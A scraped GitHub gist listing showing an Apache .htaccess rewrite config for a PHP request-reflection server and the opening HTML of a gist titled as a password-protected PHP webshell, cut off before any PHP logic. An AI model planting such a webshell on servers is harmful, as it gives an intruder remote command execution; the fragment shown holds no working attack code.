Skip to content

Instantly share code, notes, and snippets.

View aplneto's full-sized avatar
🌴
#coqueiro

Antonio aplneto

🌴
#coqueiro
  • Brazil
View GitHub Profile
@aplneto
aplneto / .htaccess
Last active October 24, 2024 15:02
PHP Request Reflection Server
RewriteEngine On
RewriteRule ^ index.php [L]
RewriteRule ^\.htaccess$ - [F]
RewriteRule ^config\.php$ - [F]
RewriteRule .* - [e=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
@aplneto
aplneto / webshell.php
Last active August 4, 2022 23:02
Password protected and history aware PHP webshell
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?=basename($_SERVER['PHP_SELF'])?></title>
</head>
<body>
<?php